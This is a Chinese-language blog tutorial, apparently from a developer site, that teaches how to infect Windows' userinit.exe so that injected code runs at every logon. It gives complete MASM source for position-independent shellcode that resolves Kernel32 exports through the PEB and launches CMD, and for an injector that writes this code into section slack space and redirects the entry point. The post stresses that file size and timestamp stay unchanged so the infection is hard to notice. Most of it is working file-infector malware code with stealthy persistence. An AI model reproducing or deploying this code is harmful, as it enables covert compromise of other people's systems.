感染系统文件实现自启动

在众多随系统启动的方法中,感染系统文件是一种比较隐蔽的方法,可以做到使被感染的系统文件大小和时间都不变,而且无需修改注册表,一般人很难发现。下面就为大家详细介绍这种方法。

分析
方法很简单,只要将一段运行其它程序代码添加到系统文件中,让它先于系统文件运行即可。为实现此功能,我们需要做如下操作:一是搜索系统文件中的所有节,检测每个节尾部是否有足够的多余空间以便添加我们的代码;二是修改系统文件的入口点指向添加的代码;三是运行完添加的代码,需要跳到系统文件的原入口点继续运行系统文件。
正如大家所看到的,这涉及到PE文件的操作,因此需要大家对PE文件结构有足够的了解。介绍PE文件结构的内容不是本文的重点,不太明白的可以参考一下其它资料,本文仅简单地说明一些相关的知识
我们知道,PE文件中的节是按照IMAGE_NT_HEADERS.OptionalHeader.FileAlignment对齐的。举个例子,如果FileAlignment为200h,那么每个节的起始地址必须是200h的倍数,若第一个节从文件偏移300h开始并且大小为10h,那下一节的起始地址必须从文件偏移500h开始,这样就会在文件偏移310h到500h的地方多出一些未被使用的空间,导致每个节的尾部都会或多或少的剩余一些空间,我们可以搜索这部分空间,如果足够大就将代码添加进去,如果所有节的剩余空间都不足,还可以新建一个节来存放添加的代码,但这样会使文件变大,因此本文不考虑这种情况。添加好代码后,还需要修改系统文件的入口点(IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint),使它指向添加的代码,这样系统文件运行时,我们添加的代码就会被先运行。运行完添加的代码,还需要跳到系统文件的原入口点,以便继续运行系统文件。因为要写文件,所以这个文件不能是正在运行的程序,但是这个文件又必须是随系统启动的,那有没有一个既随系统启动,又不常驻内存的文件呢?有!那就是userinit.exe,这个程序是在系统启动时负责一些初始化工作,然后加载桌面的,干完它的工作后自身就退出了。还有个问题得考虑一下,那就是API的使用问题。我们添加的代码要用到一个API:WinExec,这个API位于 Kernel32.dll中,所有的程序都会加载Kernel32.dll,因此只需要得到WinExec的地址就可以调用了。幸运的是,WinExec的地址在所有程序中都是一样,因为所有的程序加载Kernel32.dll的位置都是一样的,因此我们可以在本地程序中获取WinExec的地址用于添加的代码中,但是这样的话本文的看点就大打折扣了,这里介绍一种在ShellCode中常用的动态获取API地址的方法。获取API地址可以用LoadLibrary、GetModuleHandle和 GetProcAddress这3个API,它们都位于Kernel32.dll中。LoadLibrary和GetModuleHandle的地址也可以用GetProcAddress来获取,因此只需要得到GetProcAddress的地址,就可以获取其它API的地址了。GetProcAddress是Kernel32.dll的导出函数,只要搜索Kernel32.dll的导出表就一定能找到GetProcAddress的地址。现在我们只要得到Kernel32.dll的基址,根据PE文件结构的知识搜索导出表并不是难事。等等!细心的读者一定发现了,GetProcAddress需要两个参数,第二个参数是要获取地址的函数名,第一个参数是个模块句柄,通常情况下这个模块句柄是用GetModuleHandle获得的,但是现在还没有得到GetModuleHandle的地址,怎么得到这个模块句柄呢?其实这个模块句柄的值就是模块的基址。现在所有的问题就集中于获取Kernel32.dll的基址,一旦得到Kernel32.dll的基址,就可以搜索Kernel32.dll的导出表得到GetProcAddress的地址,再用GetProcAddress获取LoadLibrary和GetModuleHandle。有了这3个API的地址,再获取别的API地址就不成问题了。那么,Kernel32.dll的基址怎么获取呢?这里需要先了解一些东西,首先是TEB和PEB。TEB,Thread Environment Block,线程环境块,每个线程都有一个TEB结构,保存着线程的一些重要信息,并且TEB结构的地址总是在段寄存器fs:[0h]的地方,TEB结构偏移30h的地方保存着PEB结构的地址。PEB,Process Environment Block,进程环境块;同样,PEB结构里保存着进程的一些重要信息,其中PEB结构偏移0ch的地方保存着PEB_LDR_DATA结构的地址,PEB_LDR_DATA的结构如下:

typedef struct _PEB_LDR_DATA
{ULONG             Length; // +00h
BOOLEAN             Initialized; //+04h
PVOID             SsHandle; //+08h
LIST_ENTRY        InLoadOrderModuleList;   //0ch
LIST_ENTRY        InMemoryOrderModuleList;   //14h
LIST_ENTRY        InInitializationOrderModuleList;
//1ch,指向LDR_MODULE链表结构
} PEB_LDR_DATA, *PPEB_LDR_DATA;

其中PEB_LDR_DATA结构偏移1ch的地方指向LDR_MODULE链表结构中相应的双向链表头指针。LDR_MODULE结构部分如下:

typedef struct _LDR_MODULE
{LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
……
} LDR_MODULE, *PLDR_MODULE;

该链表的第二个节点指向的就是保存着Kernel32.dll模块的相关信息,该节点LDR_MODULE结构中的BaseAddress(偏移8h,即LIST_ENTRY的大小)就是Kernel32.dll的基址。整个过程比较让人费解,TEB和PEB的结构非常大,文中不便列出,有兴趣的朋友可以
http://undocumented.ntinternals.net 搜索一下。下面给出获取Kernel32.dll基址的代码。

mov eax,fs:[30h]   ;得到PEB结构地址
mov eax,[eax + 0ch]   ;得到PEB_LDR_DATA结构地址
mov esi,[eax + 1ch]   ;InInitializationOrderModuleList
lodsd   ;得到kernel.dll所在LDR_MODULE结构的InInitializationOrderModuleList地址
mov edx,[eax + 8h]   ;得到BaseAddress,即Kernel32.dll基址

此处建议初学者不必深入研究,直接使用代码即可。得到了Kernel32.dll的基址,就很容易搜索Kernel32.dll导出表得到GetProcAddress的地址了,方法如下:首先定位到导出表的地址,以NumberOfNames的值作为循环次数来构造一个循环,然后在循环中遍历AddressOfNames指向的函数名数组,找到GetProcAddress并记下GetProcAddress在数组中的索引,以同样的索引值从AddressOfNameOrdinals指向的数组中取出对应的序数,再以这个序数从AddressOfFunctions指向的地址数组中取出对应的值,就是GetProcAddress的RVA了,有了GetProcAddress的地址就可以获取WinExec的地址了,至此,所有问题解决

代码实现
看了这么长的文字说明是不是头晕了?坚持!成功就在眼前了!接下来是我们要添加到userinit.exe中的代码AddCode.asm,这段代码会在userinit.exe运行前先运行CMD。具体代码如下。

ADD_CODE_START equ this byte

assume fs:flat
mov eax,fs:[30h]
mov eax,[eax + 0ch]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 8h]   ;得到Kernel32基址,参考上文的解释
mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew
;得到IMAGE_NT_HEADERS地址
mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress
;得到导出表RVA
add eax,edx   ;导出表在内存的实际地址
assume eax:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[eax].AddressOfNames
add esi,edx
push 00007373h        ;在堆栈中构造GetProcAddress
push 65726464h
push 41636F72h
push 50746547h
push esp
xor ecx,ecx
.repeat
mov edi,[esi]
add edi,edx
push esi
mov esi,[esp + 4]
push ecx
mov ecx,0fh ;GetProcAddress的长度,包括0
repz cmpsb
.break .if ZERO?   ;找到跳出循环
pop ecx
pop esi
add esi,4
inc ecx
.until ecx >= [eax].NumberOfNames
pop ecx
mov esi,[eax].AddressOfNameOrdinals
add esi,edx
movzx ecx,word ptr [esi + ecx*2] ;取出序数
mov esi,[eax].AddressOfFunctions
assume eax:nothing
add esi,edx
mov esi,[esi + ecx*4]
add esi,edx   ;得到GetProcAddress地址
push 00636578h   ;在栈中构造WinExec
push 456E6957h
push esp
push edx
call esi   ;调用GetProcAddress获取WinExec地址
push 00444D43h   ;在栈中构造CMD
push esp
push SW_SHOW
push [esp + 4]
call eax   ;调用WinExec
     
db        68h ;push xxxxxxxx指令机器码的第1个字节
OldEntryAddr:
dd        ?   ;这4个字节用于保存原入口点,和上面的1个字节组成一条完整的push 原入口点指令
jmp dword ptr [esp]   ;跳到原入口点

ADD_CODE_END equ this byte
ADD_CODE_LENGTH equ offset ADD_CODE_END - offset ADD_CODE_START   ;代码大小

由于这段代码中用到的字符串比较少,所以我采用了在堆栈中构造的方法,这样可以避免使用全局变量而遇到的重定位问题。其实我们可以直接搜索Kernel32.dll的导出表得到WinExec的地址,这里为了强调代码的通用性,先获取了GetProcAddress的地址,再用GetProcAddress获取WinExec的地址。下面的代码负责将上面的AddCode.asm添加到userinit.exe中。

.586
.model flat,stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib

.const
szUserinit             db
'C:/Windows/System32/Userinit.exe',0
szFmt                      db
'已添加代码到文件偏移:%08x处,代码大小:%d字节,新入口点RVA:%08x',0
     
.data?
hFile                      dd             ?
hMapFile             dd             ?
lpFile                      dd             ?
lpCodeRVA        dd        ?   ;添加的代码的RVA
lpCodeOffs        dd        ?   ;添加的代码的文件偏移
szMsg                      db             128 dup(?)

.code
include AddCode.asm
Start:
invoke CreateFile,offset szUserinit,GENERIC_READ or GENERIC_WRITE,/
NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
.if eax
mov hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0
;将文件映射到内存
.if eax
mov lpFile,eax
mov esi,eax
add esi,(IMAGE_DOS_HEADER ptr [esi]).e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov ebx,esi
add ebx,sizeof IMAGE_NT_HEADERS
assume ebx:ptr IMAGE_SECTION_HEADER
xor eax,eax
.while ax < [esi].FileHeader.NumberOfSections
;循环所有节
mov ecx,[ebx].SizeOfRawData
.if ecx
sub ecx,[ebx].Misc.VirtualSize
.if ecx >= ADD_CODE_LENGTH
;如果有足够的多余空间则添加代码
jmp @F
.endif
.endif
add ebx,sizeof IMAGE_SECTION_HEADER
inc ax
.endw
jmp Over   ;空间不足则不做任何操作
@@:mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov lpCodeRVA,eax   ;添加的代码的RVA
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov lpCodeOffs,eax ;添加的代码的文件偏移
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_EXECUTE
;给节加上可读和可执行属性
add [ebx].Misc.VirtualSize,ADD_CODE_LENGTH
;修正节的实际大小
add eax,lpFile
invoke RtlMoveMemory,eax,offset ADD_CODE_START,ADD_CODE_LENGTH
;将代码复制到userinit.exe中
mov edi,[esi].OptionalHeader.AddressOfEntryPoint
add edi,[esi].OptionalHeader.ImageBase
;保存原入口点地址
push lpCodeRVA
pop [esi].OptionalHeader.AddressOfEntryPoint
;设置新的入口点
mov eax,lpCodeOffs
add eax,lpFile
add eax,offset OldEntryAddr - offset ADD_CODE_START
mov [eax],edi ;将原入口点写到AddCode.asm最后的dd ?中
invoke wsprintf,offset szMsg,offset szFmt,lpCodeOffs,ADD_CODE_LENGTH,[esi].OptionalHeader.AddressOfEntryPoint
invoke MessageBox,NULL,offset szMsg,offset szMsg,MB_OK
Over:        invoke UnmapViewOfFile,lpFile
assume esi:nothing
assume ebx:nothing
.endif
invoke CloseHandle,hMapFile
.endif
invoke CloseHandle,hFile
.endif
invoke ExitProcess,0
end Start

这段代码我使用了内存映射文件的方法来操作文件,这样可以避免使用WriteFile来写文件,因为WriteFile会造成文件时间发生变化。另外,还要注意要给节加上IMAGE_SCN_MEM_READ和IMAGE_SCN_MEM_EXECUTE属性,这样节才是可读和可执行的。

程序测试
将以上代码编译后运行,注销一下就可以看到CMD跳出来了,这证明达到了感染系统文件实现自启动的要求了。最后说明一下,以上代码我在Windows XP SP2+Masm32 9中测试成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值